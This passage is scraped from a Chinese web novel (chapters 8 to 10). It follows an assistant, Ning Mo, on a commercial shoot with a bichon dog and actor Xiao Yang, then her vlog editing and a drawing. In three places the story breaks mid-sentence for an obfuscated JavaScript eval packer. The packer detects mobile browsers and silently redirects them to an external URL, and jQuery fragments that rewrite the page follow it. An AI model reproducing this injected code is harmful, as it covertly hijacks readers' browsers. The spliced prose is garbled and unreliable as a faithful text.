“我们工作室里养了一只猫，”宁茉掀开罐头盖子，放到小比熊面前，“跟它一样可爱。” 小比熊激动地低头大口吃着罐头，一边吃一边用头蹭宁茉的膝盖，尾巴摇的十分欢实。 吃完一个罐头，它简直要不认识自己的主人是谁了，宁茉走到哪儿就跟到哪儿，让狗主人脸都有点发红。 宁茉凑到场边去拍摄镜头，小狗也立刻跟了上去。 它的主人嘶了一声，拽着绳子用力：“你这个贪吃小狗，别人给个吃的就把你拐跑了，回来！” 警告无效，小比熊脖子一拱，灵巧地解开了遛狗绳，朝着宁茉跑的十分利索，头也不回。 狗主人：“……” 宁茉拍完几个镜头，退到场边就感觉腿边有个小东西，低头一看，顿时笑了：“你怎么过来了。” 工作人员脸色发红地跑过来，宁茉朝他笑笑：“没关系，我帮你看一会儿。” 工作人员一脸感激，宁茉抱起小狗走到一个安静的角落，放下它开始逗着玩。 小狗精力充足，绕着宁茉的脚边转了好多圈，直到把自己转晕了，露着肚皮躺倒在地上。 这时，手机突然响了一声，宁茉低头一看，是宋依依发来的消息，看这个时间点，宋依依大概是刚醒来。 [宋依依：天呐！浦哥昨晚竟然给我发了五百块！茉茉他是不是也给你发了！这是我们的加班费吗？] [宁茉：大概是吧] [宋依依：这也太幸福了吧！我从今天开始热爱这个工作了！] [宁茉：(疑惑.jpg)你之前都不热爱吗？] [宋依依：(猫猫摇头.gif)] 过了几分钟，宋依依又问道：[今天工作室忙不忙，你在干什么？] 宁茉如实说了行程，顺便告诉了她下午需要去跟围读会的事情。 [宋依依：哼，又要去见那个自大狂了，我今天要狠狠拍萧扬，把他拍的又帅又好看，然后让孙哥发工作室微博，气死那个姓姜的！] 宁茉瞬间笑了出来，觉得宋依依真是坦率又可爱，连报复对方的方法都这么别出心裁。 她笑得开心，没注意萧扬已经站在了她边上，正低头看向她。 在繁忙的拍摄中，所有人都忙忙碌碌，急着去核对每一件事、推进每一项进度，只有宁茉悠闲地蹲在这里逗狗，对着手机也能笑得开心。 萧扬的目光忍不住看向她的手机，想看看是谁让宁茉笑成这样。 可惜还没看清对话消息上的名字，宁茉已经猝不及防地抬头，和萧扬对视了一眼。 宁茉先是吓了一跳，随后立刻站了起来，收回脸上的笑容，耳朵瞬间就红了：“……怎……怎么了？” 刚才萧扬不是在聚光灯下拍摄吗？什么时候移动到她身边的？自己怎么一点都没有察觉？ 萧扬没看清对话框，眉头微皱了一下，又伸出手，手心朝上摊开。 宁茉有些不解地看着他，想了两秒后，从背包里又掏出一个罐头，放到了萧扬手心。 萧扬还蛮有爱心的嘛。 萧扬眼底是一闪而过的惊诧，他的目光移动到罐头上，又移动到宁茉脸上，顿了几秒，开口道：“……手机。” “！”宁茉这才如梦初醒，脸迅速爆红，宁茉慌慌张张去摸萧扬的手机，一边咬着牙骂自己真是玩狗丧志，竟然会以为萧扬是来逗狗的。 手机被她放在夹层里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14406810|153489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，很快就摸到了，宁茉把手机递给他，伸手就要拿回自己放过去的罐头。 萧扬却手心一转，将罐头举到自己眼前，看着上面的标签一字字念道：“鸡肉丝冻罐头？” “……”宁茉脸都红到了耳根，舌头有点打结，“给、给山山买的，狗……狗也能吃。” 萧扬的目光转向那只好奇地歪着头看自己的小比熊，再看向红的像个番茄的宁茉，沉默了几秒。 气氛无形中有些紧张，宁茉生怕给萧扬留下一个不尽职的印象，正想拿出手机证明自己拍了很多花絮，却见到萧扬长腿一屈，蹲在了小比熊面前。 宁茉：“？” 下一秒，他修长的手指拉开拉环，轻巧地把罐头盖子掀开，随后轻轻放到了小狗面前。 小比熊兴奋地嗷了一声，埋头苦吃，很快就又吃完了一份罐头，秉承着“有奶便是娘”的优良传统，它朝着萧扬友好地摆了摆尾巴。 萧扬眼底难得有了点笑意，伸手摸了摸小比熊毛绒绒的脑袋。 宁茉看着他，突然觉得萧扬捡山山回家时的场景大概也是这样。 眨了眨眼，她悄悄打开摄像头，拍下了这称得上温馨的一幕。 很快，拍摄组那边的景又布置好了，催萧扬回去拍摄，宁茉抱着狗和他一起走过去，把狗放到了事先安排好的狗窝里。 没想到宁茉一离开场景，小比熊就跟着跑出去，宁茉一愣，慌忙又把它抱回去，然而一离开，小狗又扑哧扑哧跟着她跑了。 反复几次后，摄制组彻底无奈了。 “小李，你家狗不是挺听话的嘛，怎么今天这么不配合？” 被称作小李的狗主人已经无言以对：“……它今天不认识我这个主人了。” 萧扬看着那只小狗，微微皱眉，明明两个人都喂了罐头，为什么这只狗只和宁茉亲近？ 宁茉在场外也有些尴尬，现场所有人都准备好了，偏偏意外出在这只小狗身上，大家的视线都聚焦在她和小狗这里，视线都仿佛有了实质，刺得人背后一紧，宁茉的脸色都变红了。 把脚边的小狗抱起来，宁茉晃晃狗爪，小声念叨：“别闹了，要干正事了！” 小狗狗一脸天真地看着她，吐了吐舌头。 宁茉再次把小狗放回了狗窝，精心选了个让它躺倒的姿势，随后试探性地朝外走了两步。 果然，小狗一旦意识到宁茉要走，就飞速从狗窝里扑出来，跟着她往外冲。 “哎哎哎！狗又要跑了！”旁边有人喊道。 宁茉眼疾手快地抓住还要往外跑的小狗，脸彻底红了，有些气馁地转头，目光莫名就和正盯着自己的萧扬对上了。 四目相对的瞬间，宁茉眼底的窘迫和无奈被萧扬尽收眼底。 下一秒，萧扬迈开腿，大步走出了拍摄场景，径直走到了导演身边，低声说了几句话。 导演先是犹豫了几秒，随后目光又看向蹲在地上努力安抚小狗的宁茉，最终还是点点头：“好吧。” 另一头，宁茉恨铁不成钢地揉着狗头，捏着它的小耳朵：“白吃我两个罐头了，你怎么这么不听话，要配合拍摄知道吗？不可以乱跑了！” 小比熊在她手下开心地滚了一圈，丝毫没听进去。 这时，一个人影走到了宁茉身边：“宁茉。” 宁茉听到这熟悉的声音，抬头就对上萧扬精致冷淡的脸，顿时满脸歉意：“……抱歉，我耽误你拍摄了。” “没有耽误，”萧扬开口道，“你也一起过来。” “我？”宁茉一愣。 “嗯，”萧扬点点头，“你抱着它入镜——” “什么？！可是……”宁茉慌忙要拒绝，萧扬随即接道，“——不用露脸。” 宁茉张了张嘴，顿时哑然了——这似乎是目前最有效的办法了，毕竟是她逗狗在先，现在狗狗不听话，她本来也有责任。 但是跟着一起拍摄……宁茉从小就是个见到镜头就僵硬的人，五官和肢体在镜头前都不受控制，她不确定自己能不能做好。 导演喊道：“演员准备就位！” 萧扬一直站在她身后，看着宁茉摇摆不定地犹豫了好一会儿，终于，宁茉下定决心般抱起狗子看向自己，语气凝重：“……走吧。” 萧扬眼角一弯，难得地露出了笑意：“嗯。” 9. 第 9 章 萧扬回归到人群中心，坐在沙发上，拿起了道具春联。 演员们各就各位，宁茉按照导演的指示蹲在给小狗准备的毛绒小窝旁，侧身对着镜头，伸手摸了摸小狗脑袋。 导演移着镜头，拍到宁茉时，镜头停顿了一下。 “那边的演员不要紧张，自然一点。” “……”宁茉不用抬头就知道在说自己，脸瞬间红到了耳朵，捏着狗耳朵的手不小心用了点力，小狗嗷呜一声，缩回了小窝里。 宁茉眼睫很快地眨了几下，深呼吸着平复好心情，嘴角努力挤出一点笑容，把手放到了小狗头上。 “不行，”导演无情的声音响起，“太僵硬啦！快成雕塑啦！” 周围的演员们被逗笑了，纷纷看向宁茉。 “别紧张啊，拍不到正脸的。” “不要管镜头，专心逗狗就好啦。” …… 道理她都懂，宁茉无声地叹了口气：要是能做到，她也不会被导演叫停了。 “再来一次，大家准备！” 镜头移走，宁茉的目光下意识看向不远处的萧扬，他神情自然地对着镜头微笑，动作大方舒展，仿佛这里真的是他的家一样，和周边人的互动也熟络亲切，明明大家都是第一次见面，却好像认识了多年的好友重聚。 ……不愧是演员，宁茉暗暗吐了口气，以前总听粉丝们吐槽谁谁谁演技不好，换个普通人都可以，现在才明白这碗饭也不是谁都能吃的，光是面对镜头不紧张不变丑，已经很不容易了。 第三次拍摄不出意外地失败了，宁茉整个人在镜头前僵硬地像被定了身，每当镜头移过去，即使只有一个侧面也看得出来她的紧绷。 拍摄陷入了停滞，宁茉耳朵通红，低着头站在一旁。 这是她从没想过的意外，但比起她的窘迫尴尬，萧扬被耽误的拍摄更让她自责。 她知道下午萧扬还要去围读会，这个公益广告预留的时间只有两个小时，拍摄时间很紧，合作方又是娱乐圈大公司南黄集团，重要性不言而喻。 宁茉捏紧手指，不能再耽误下去了，她再次尝试离场，这一次小狗只是歪着脑袋看着她，并没有立刻跟过来。 轻轻松了一口气，宁茉又朝外走了两步，下一秒，小狗一个跃起，就要朝着她冲过来。 几乎同时，一双修长有力的手抱住了刚弹射起步的小狗，成功拦截住它。 “不准跑。” 是萧扬走过来了。 他抱着怀里不安分乱扭的小狗，朝着宁茉招招手：“宁茉，过来。” 萧扬的声音很轻，带着些安慰的意味，宁茉犹豫了两秒，还是朝着他走过去，坐到了他的对面，背对着镜头坐下。 身后就是镜头，宁茉坐的紧绷，萧扬却伸手将旁边沙发上的毛毯拽了过来，直接披到了宁茉身上。 身上有了遮挡物，原本紧绷的状态突然就放松了一点，宁茉不再注意镜头，抬头有些呆呆地看着对面的萧扬，不明白他打算做什么。 “紧张？”萧扬逗着怀里的狗，低声问道。 他的声音低到只有宁茉一个人能听到，宁茉也就不再隐瞒，诚实地点点头：“嗯。” 萧扬脸上仍旧是淡淡的：“明明是你先逗狗，现在要你善后了，竟然还紧张。” “……”这一句话说得宁茉双眼睁圆了些，看着萧扬的样子，对方语气正常，眼尾却有着隐藏不住的笑意，显然是在笑她。 一种类似恼羞成怒的情绪涌上脸颊，宁茉眼底带了点不服气，小声辩驳道：“我哪知道这小狗这么不经逗？” “是么？我看它不怎么理人，比如我也喂了罐头，它却不跟着我跑。” 萧扬捏着块道具鸡肉条，在空中转了转，引得小狗也跟着转圈圈，目不转睛地盯着那根鸡肉条。 宁茉忍不住说道：“那只能说明你不如我讨狗狗喜欢。” 萧扬瞥了她一眼。 宁茉说完才意识到讨狗狗喜欢也不是什么很光荣的事情，但话都说到这里了，她只能硬着头皮继续说：“你太高冷了，小狗见了你害怕。” “高冷？”萧扬忍不住重复了一遍这两个字，“你觉得我……高冷？” 宁茉坦然对上他略带疑惑的双眼：“嗯，又高又冷。” 说完她突然想到有人形容经常健身、身材很好但性格冷淡的人叫“双开门冰箱”，再联想到面前的萧扬，瞬间没忍住笑了出来。 萧扬看着她的笑容有些愣怔，宁茉笑时眼波流转，神情瞬间生动了起来，一双清澈干净的眼睛像雨后的湖泊，漂亮地不可方物。 几乎是脱口而出，萧扬突然问道：“宁茉，我们之前见过吗？” 宁茉的笑容瞬间僵住了，她眼底的笑意逐渐消失，脸上却仍旧保持着微笑。 ……萧扬认出她来了？ 不可能，他们一共也没见过几次，而且那时候宁茉都是盛装出席，和现在不说换头，起码也是判若两人，萧扬再好的记忆力，也不能透过大浓妆直接看到素颜吧？何况已经过了三年。 萧扬还在看着她，宁茉快速眨了两下眼，努力笑道：“没有啊，怎么突然这么问？” “……”萧扬眼底的神色有一瞬间的变幻，但速度太快，宁茉没来得及看清，萧扬已经低下头，伸手继续逗狗，语气带了些漫不经心。 “没什么，我还以为……” 后面的话他声音低了下去，宁茉没听清，没忍住追问：“以为什么？” 萧扬重新抬头，眼底突然盛满了笑意，随后他举着小狗朝宁茉晃了晃，歪着头看向她。 宁茉看着这笑容一愣，瞬间将自己想问的事情忘了个精光。 “咔！” 导演的声音猛地将宁茉的注意力拉了回来，这才发现导演不知道是什么时候开拍的，刚才她和萧扬的互动都被拍了进去，不过由于角度问题，她只露了一个被毛毯裹住的毛绒绒的背影，而萧扬的正脸则完美地出现在屏幕里，和小狗的互动也十分生动活泼。 ……所以刚刚萧扬是故意在逗自己，缓解自己的紧张情绪，同时还完成了拍摄。 而自己一无所知，还在认真和对方讨论为什么小狗不喜欢萧扬。 ……好傻！ …… “好了，完成的非常好！”导演拍拍手，喊道，“下一个场景！演员准备就位！” 萧扬收了脸上的笑容，轻轻将狗放回狗窝，喂它吃了那个垂涎许久的鸡肉条，随后才抬眼看向脸色通红的宁茉，“配合的不错。” 宁茉眼睛都不知道该往哪里放了，她从耳朵红到脖颈，脸上却还在强装镇静：“……老板引导的好。” “员工进步也很快，”萧扬起身，慢条斯理地整理了一下衣服，随后低声道，“不过我要纠正一点。” 宁茉看向他：“什么？” 萧扬看了她一眼，眉毛微挑，朝她靠近了一点，熟悉的雪松和檀木香气瞬间包裹了她。 宁茉愣神一秒，随后就听到耳边传来萧扬低沉的声音。 “我只是高，不冷。” “……” 说完萧扬转身去了下一个拍摄场景，宁茉愣在原地，耳廓红的明显，半晌才回过神来，脸上是混杂着茫然和疑惑的神情。 ……这件事很重要吗？不是，重点是这个吗？ …… 之后的拍摄十分顺利，拍摄团队成功在十二点结束了拍摄，萧扬去化妆间换衣服，王墨和宁茉则等在外面聊天。 “中午广告商应该会请萧哥吃饭，”王墨说道，“我们两个到时候也有工作餐。” 宁茉点点头：“你看起来很有经验。” “之前都是这么吃的，”王墨说，“霍妍姐说一般这种场合都是聊合作的，人多了反而很多话不方便说，所以我都会回避。” “不过工作餐都是盒饭，不好吃，不然我们去楼下吃饭？我看楼下有很多饭店。” “好啊，”宁茉点点头，“正好活动一下，在这里坐了一上午了。” …… 化妆间内，南皇集团派了一位卢姓副总来见萧扬，热情地邀请他吃午饭。 “就在集团的贵宾厅，没几个人，和萧老师您简单吃个便饭。”卢亦说着就要给萧扬带路。 “稍等一下，”萧扬说道，“我还有两个助理。” 卢亦笑道：“萧老师放心，助理的工作餐我们也会安排的。” 萧扬却说道：“他们和我一起。” 卢亦微愣了一下，眼底的诧异一闪而过，第一次见一个明星要和助理一起吃饭，往常最多也就是和经纪人一同用餐，他还专门确认了萧扬的经纪人浦世诚不在，只来了两个小助理，没想到萧扬却会提出要两个助理一起吃饭。 不过卢亦只犹豫了两秒就笑道：“当然可以，走吧。” 萧扬走出化妆间，正迎上王墨：“萧哥，我和宁茉去楼下吃饭，很快就回来，你有什么事就联系我们。” “……”萧扬一怔，看向不远处的宁茉，她站在电梯口正在按电梯。 卢亦笑道：“别去了，和我们一起吃饭吧，都准备好了。” 王墨见他这么客气，忙说道：“不了不了，不麻烦您，我们简单吃个快餐就好，谢谢谢谢。” 说着他和萧扬暗暗使了个眼色，非常自觉地撤退了，顺便带走了在电梯口探头张望的宁茉。 萧扬： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14406811|153489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “……” …… 进电梯后，宁茉有些好奇：“你们在那边说什么呢？说了这么久。” “哦，没什么，”王墨笑呵呵地说道，“广告商跟我们客气呢，说要请我们一起吃饭，我就赶紧走了。” “噢，”宁茉点点头，“那这个南黄集团还挺热情的。” 两人在楼下转了转，选了又选，最终默契地走进了一家快餐店。 宁茉看着点了个全家桶的王墨有些惊讶：“我没想到你也喜欢吃这个。” “是啊，”王墨有点不好意思，“大学的时候聚餐总来这种店，吃习惯了。” 说着他看着对面只点了一个汉堡和一杯可乐的宁茉：“你吃这么少？” 宁茉吸了口可乐：“我不饿，这不是我的真实饭量，我饿的时候很能吃的。” 王墨看着对方纤细的手腕，摇摇头：“你们女孩子不能为了保持身材总节食，这样对身体不好。” 宁茉：“我没有节食，你别看我瘦，我力气很大的。” 王墨显然不太相信：“你还是得好好吃饭。” 两个人聊了一会儿，解决完午餐，王墨问道：“时间还早，我先送你回家，再来接萧哥。” “不用不用，”宁茉慌忙摆手道，“你们下午不是要去围读会么，这里附近就是地铁，我坐地铁回去。” “而且他们吃饭也不知道要多久，万一提前结束了呢？” “……好吧，”王墨点点头，“那你回家休息吧，我叫依依早点去茶楼，我们到时候在那边汇合。” “加油~”宁茉朝他挥了挥手，转身朝着地铁站走去。 …… 工作日的地铁站十分拥挤，宁茉找了个人少的角落站着，抓着身边的杆子，低头看着手机里拍摄的素材。 今天拍了不少视频，她计划回去剪一剪，做成一个两分钟左右的vlog，到时候配合广告宣传用。 看着看着，宁茉就听到身边几个女生在聊着明星八卦。 “唉，听说《如意环》这个大饼最终被姜明辰拿到了。” “真的假的？！我还以为会让岳明钊演呢。” “岳明钊也挺好看的，但是姜背景强啊，你也不看看《如意环》什么配置，一般的明星还真拿不下。” 宁茉注意到她们，收起手机，竖起耳朵听着八卦。 “女主是秦娇娇吧？天哪，男帅女美，造型还是郑业广团队，我都不敢想这部剧造型出来得多好看。” “陈昌的三部曲系列剧本都不错，《明月刀》和《春风盏》口碑也强，这部《如意环》肯定能爆。” “姜明辰要晋升顶流了，我现在去粉他还跟得上吗？” “哈哈哈你可小心点，粉男明星风险太大了，房子说塌就塌喽~” “你是在说今天爆出来那个王某吧~哈哈，睡粉还拍照，照片还那么丑，粉丝大型心碎现场，我今天在微博吃了一上午的瓜了。” “对啊，而且他还演了陈昌另一部剧，不知道陈导现在心情怎么样~” “没事，大不了补拍，而且还有《如意环》呢，陈导不怕。” “……”听了半天八卦，不是聊塌房男明星就是聊姜明辰和秦娇娇，连一点萧扬的名字都听不到，宁茉无奈地叹了口气。 明明《如意环》的主演阵容都曝光得差不多了，萧扬名字也在上面，还是个有名有姓的男三号，可讨论度就是低的可怜。 连她所在的萧扬粉丝群里，大家也只是八卦了下萧扬三年没演戏突然出山这件事，随后就将目光聚焦到了男女主身上。 看这样的形势，宁茉也有点不确定萧扬演完《如意环》会不会火了。 万一再遇上资方打压、戏份删减……那简直是一朝回到解放前。 联想到还没开机就对萧扬充满敌意的姜明辰，宁茉不由得开始担忧，萧扬这个工作室真的能坚持下去吗？ 不会发不起工资吧？ 以她现有积蓄算，如果工作室不发工资，在寸土寸金的荣城，她还真的生存不了太久…… 正盘算着要不要多接点画画单子挣钱，宁茉手机突然传来了转账消息。 低头一看，是霍妍发来的红包，上面还备注了两个字：【餐补】 [霍妍：午餐补助，以后工作中产生的花销，记得及时找我报销，规定额度内全报。] [宁茉：（星星眼.jpg）谢谢霍姐！] [霍妍：不客气，辛苦了。] [宁茉：不辛苦不辛苦~] 愉快地关闭对话框，宁茉看着进账，满意地点了点头。 嗯，还发的起餐补，看样子暂时是倒闭不了了。 10. 第 10 章 半个小时前。 王墨接上萧扬，往举办围读会的茶楼驶去。 他正专注地开着车，坐在后排闭目养神的萧扬却突然睁眼，开口道：“王墨。” 萧扬很少在自己开车的时候叫自己，王墨立刻提起精神，看了一眼后视镜。 “怎么了萧哥？” 萧扬：“我很高冷吗？” “……啊？” 王墨愣了一秒。 萧扬耐着性子又重复了一遍：“我看起来很高冷吗？” “……”王墨眨眨眼，一时间不知道是该肯定他、还是该问他为什么要这么问，但萧扬在后面安静地等着自己的回答，王墨不得不说道，“是有一点。” 萧扬皱了皱眉毛，没再说话。 车里顿时陷入一种诡异的沉默。 王墨不明白萧扬刚才问那句话是什么意思，想了想，硬是找补了一句：“高冷也挺好的，别的明星还要打造这种人设呢，我们都不需要演。” 萧扬却突然又问道：“你们……你和宁茉，中午去哪里吃饭了？” 王墨没想到萧扬还关心这种小事，顿时有点感动：“我们在楼下的快餐店吃的饭。” 萧扬沉默了几秒：“快餐。” ……放着一桌子高价菜肴不吃，却去楼下吃快餐。 王墨笑呵呵道：“好久没吃了，看着有点馋，不过萧哥你天天健身，肯定不吃这种垃圾食品吧。” 萧扬：“……也吃。” “啊？”王墨顿时有点吃惊，“萧哥你还吃这个呢？我以为明星天天只吃沙拉和鸡胸肉。” “没那么讲究，都能吃，”萧扬看向窗外，“吃得少而已。” 王墨打开了话匣子：“今天还是宁茉请的客呢，下次我得请回去。” 萧扬皱了皱眉：“她结账？” “是啊，她抢着结账，我都没反应过来就扫码了，”王墨笑着说，“太客气了。” “……” 车里突然又安静下来，王墨隔着后视镜瞟了一眼萧扬，对方看着窗外，脸上没什么表情，似乎在想事情。 他也就适时闭嘴，专心开着车，一路开到了茶楼。 宋依依已经在茶楼前等着了，她甚至提前找好了停车位，看到车开过来，热情地挥了挥手：“停这里！” 两人同时看到了宋依依，又同时多看了她几眼，宋依依今天换了个穿衣风格，不像昨天那么漂亮张扬，换上了牛仔裤和黑色夹克衫，整个人看起来干练了许多。 这么远远看起来，反倒有点像宁茉。 王墨停好车，萧扬刚走下车手机就响了，他低头看了一眼，接起电话：“霍妍。” …… 宋依依看萧扬在接电话，拉着王墨离远了一点，王墨忍不住问宋依依：“你今天怎么换风格了？” 宋依依笑道：“和茉茉学的，你知道我这叫什么风格吗？” 王墨想了想：“……运动风？” “No，”宋依依竖起食指摇了摇，“——低调风。” “……” 萧扬和宋依依时间卡的很准，进茶楼时导演陈昌也刚好进来，不过他脸色看起来不太好，眼下有些发青，嘴边也冒了几个痘。 看见萧扬，陈昌挤出了一个笑容：“来了。” 萧扬点点头，坐到了自己的位置。 宋依依这次学精了，坐到了萧扬对面的方向，盘腿往蒲团上一坐，拿出手机先拍了几张照片。 旁边的议论声进入她的耳朵。 “陈导今天的脸色可真臭啊。” “他马上要上的那部刑侦剧演员早上刚出事，换谁也高兴不起来啊。” “哈哈，你别说，王驭平时看着还挺老实，结果不声不响塌了个大的。” “听说王驭工作室还偷税漏税，只是还没爆出来呢，这人算是完喽。” “那陈导那剧怎么办，还有一个多月可就要播了，档期都排好了。” “还能怎么办，换人呗……就是不知道这么短的时间内能不能找到一个演员救急了。” “听说还是个挺重要的角色，看陈导那着急上火的样子就知道不好找，这围读会估计要提前结束了。” …… 宋依依一觉睡到中午，还没关注过新闻，听着旁人的议论才知道有个大瓜，赶紧掏出手机打开微博，赫然看到首页挂着三个热搜，全是关于最近一个比较火的小生王驭的。 她点进去看了看，翻翻八卦，又看了看照片，一边吃瓜一边给宁茉转发，配上一串惊讶表情包，不过宁茉可能在忙，一直没有回复过她。 宋依依吃完了瓜，放下手机，看看周围，叹了口气：好想宁茉啊，也不知道她现在在干什么呢。 —— 宁茉回家就开始剪视频，她将手机里的素材导到电脑上，一段一段地挑，挑出生动有趣的片段剪到一起。 看着看着，宁茉点开了一段视频，是萧扬刚做好造型时的样子。 镜头里的男人眉眼深邃，神情冷淡地任由造型师调整自己额前的发丝，仿佛对周遭的事情都不太在意。 两秒后，他却突然转向了镜头，目光精准地落在镜头微微偏上的方向。 宁茉呼吸一滞，突然意识到那个时候萧扬在看自己。 但她当时丝毫没有察觉，只是在专注地调整着拍摄角度。宁茉又将这段视频往回拉了一点，萧扬盯着她的神情没什么变化，只是定定地看了她几秒，随后就转过了头。 但那一眼已经足够好看，堪称完美的一张脸毫无保留地出现在镜头里，宁茉点了暂停，忍不住多看了一会儿。 等她意识到自己嘴角压不住的笑容时，顿时又有点羞赧，觉得自己简直是假公济私。 ……但真的很好看。 宁茉把片段拼到一起，配了轻松可爱的音乐，又特地把萧扬和小狗互动的画面剪到了结尾当做彩蛋，一个拍摄花絮vlog就做好了。 她导出视频，满意地点点头，随后感觉坐久了腰有点不舒服，起身去换了家居服，做了几个伸展运动，回到了卧室。 昨晚几乎没睡觉，现在终于有点困了，宁茉倒在床上，随手抓了个枕头垫在脑袋下面，闭上眼开始午睡。 这一觉难得睡的不错，足足睡了两个小时，宁茉睁眼时已经是下午四点，房间的窗帘拉的太严实，一瞬间有种天黑了的错觉。 爬起来拉开窗帘，宁茉拔下充了一下午电的手机，打算把中午剪的视频给霍妍发过去。 打开手机的瞬间，30+的消息蹦了出来，全是来自宋依依的。 宁茉愣了一下，有点不太习惯一下子看到这么多信息，翻到最上面，一条条看了起来。 这些消息充分描绘了宋依依一下午的行程，先是在微博吃瓜，把一个塌房男明星的睡粉照发了过来，顺带嘲笑了一下这位男明星离开妆发后真的好丑，随后就是关于陈昌新剧的消息，之后是她拍的萧扬的照片，底下还有一个大大的爱心，和一个“帅”字。 看得出来，经过塌房男明星的对比，宋依依对于萧扬的爱又上升了一个程度。 宁茉坐到沙发上，一条条耐心地回复过去，又把视频发给霍妍，随后拿起充满电的平板，打开了画画软件。 昨晚刚接了两个新稿子，她要趁着今天不忙，先把草稿画出来。 好在之前画过一张，对人物造型十分了解，她这次速度很快，一张草稿不到一个小时就画完了，又细化了一下线条，宁茉新建了一个画布，打算趁热打铁把第二张草稿也画出来。 第一笔起手时，宁茉却突然有些走神。 脑海里不由自主地浮现出白天萧扬举着小狗对她笑的画面，现在想来竟然还有种不真实感，即使事后知道萧扬是在对着镜头表演，但当下真实发生的那一刻，她是忍不住愣神了的。 萧扬那套造型真的很好看，是少见的纯白色，眼底亮亮的，唇角的弧度也柔软而诱人。 宁茉想了好一会儿，回过神的瞬间，发现自己笔下的草稿已经换了个人。 画面里的男人举着一只小狗，歪着头正看着自己，她只画了人物的一双眼睛，但那双漂亮的桃花眼一看就是萧扬。 宁茉愣了一下，笔尖在擦除键上悬了半天，终于还是移动回来，继续就着这张构图画了下去。 这次她画的格外认真，场景仿佛在她眼前重现，萧扬盯着她笑时眼底的亮光、抱着小狗时不敢用力的手指，还有衣服上被小狗蹬出的褶皱……宁茉一笔一笔细细地画着，全程没有看过一次手机，那副画面就在她脑海里，不需要复习。 线稿画完又开始上色，这次宁茉选了浅淡的水墨色系，将衣服的纹理描绘地十分细致，小狗也可爱机灵，而画到萧扬那双眼睛时，宁茉选了较为浓重的黑色，点在人物的眼瞳上。 作品最终完成的那一刻，连宁茉自己都屏住呼吸，安静地看了一会儿。 总有人说，被画家倾注了爱意的作品是有灵魂的，宁茉看着面前的画，一瞬间突然理解了这句话的意思。 她保存了画稿，导出到相册里，自己又欣赏了几遍，终于舍得放下平板，揉了揉睁得太久有些酸痛的眼睛，起身去喝了口水。 手机里的时间已经走到了九点，宁茉有些惊讶，她一下午忙着画画，不知道竟然已经过了这么久了。仿佛在抗议一般，肚子开始咕咕响了几下，宁茉放下水杯，换了身衣服，下楼去买晚饭。 与此同时，结束了围读 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14406812|153489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会的萧扬一行人，也走出了茶楼。 晚上陈昌要单独请萧扬和浦世诚吃饭，王墨把宋依依送回了家，浦世诚则陪着萧扬去饭店。 萧扬坐在车里，处理着手机上的未读信息。 大多是来自浦世诚和霍妍的，萧扬通知完浦世诚晚上来吃饭，点开了霍妍的对话框。 竟然是一个视频，底下是霍妍简短的两行字。 [霍妍：宁茉剪的花絮视频，竟然还不错。] [霍妍：你看看，我觉得以后可以重点培养一下。] 萧扬点开视频，开头就是自己坐在化妆台前化妆的样子，镜头里的男人神情冷淡，萧扬点了暂停，多看了两秒，随后皱了下眉。 确实看起来很高冷。 随后视频继续，画面里一个转场，萧扬已经换好衣服，正低头看着广告台本，看起来十分认真，萧扬的头上还配了一行粉色的小字“努力背诵中~”，加上逐渐轻快的BGM，画面瞬间变得可爱了些。 之后是萧扬拍广告的一些花絮，群众演员偶尔笑场，萧扬也会跟着笑几次，画面看起来轻松又温馨，但又严谨到没有透露一点广告本身的内容。 直到最后，萧扬和小狗互动的画面被缩成一个小圈放在视频结尾，一个“byebye~”出现，整个视频才算完整结束。 萧扬看完沉默了几秒，大抵是没想过自己在宁茉眼底是这种形象，他忍不住又重新看了一遍，欢快的音乐再次响起，主驾驶座上等红灯的浦世诚忍不住探了个脑袋过来：“看什么呢？你平时不是不刷短视频吗？” 做好了被萧扬无视的准备，却没想到萧扬大方地将手机递给浦世诚：“今天拍摄的花絮，宁茉剪的。” “呦，宁茉还会剪视频？”浦世诚满是稀奇地看着视频，看完啧啧称赞，“不错啊，节奏和配乐都很好，简直比得上专业的宣发团队了。” “嗯，是不错，”萧扬难得附和道，“比孙尚万强多了。” 最近这段时间的通稿和视频都是孙尚万做的，每次做完一发布，简直像一滴水沉入了大海，连一点水花都没有溅起来，被霍妍吐槽了不少次。 “真不错嘿，”浦世诚笑笑，“之前我还想着，这三个助理里王墨能留，宋依依也不错，现在看来，宁茉反而更有潜力。” 萧扬：“是么？” “是啊，我看她还挺沉稳的，处理事情也老成，”浦世诚想了想，“有些时候都沉稳的过分了，不太像这个年纪的女生。” 萧扬没有再说话，低下头回复了霍妍，又点开了视频。 浦世诚忍不住笑了：“差不多行了啊，有点自恋了萧扬。” 萧扬却没有理他，只是低头看着手机。 …… 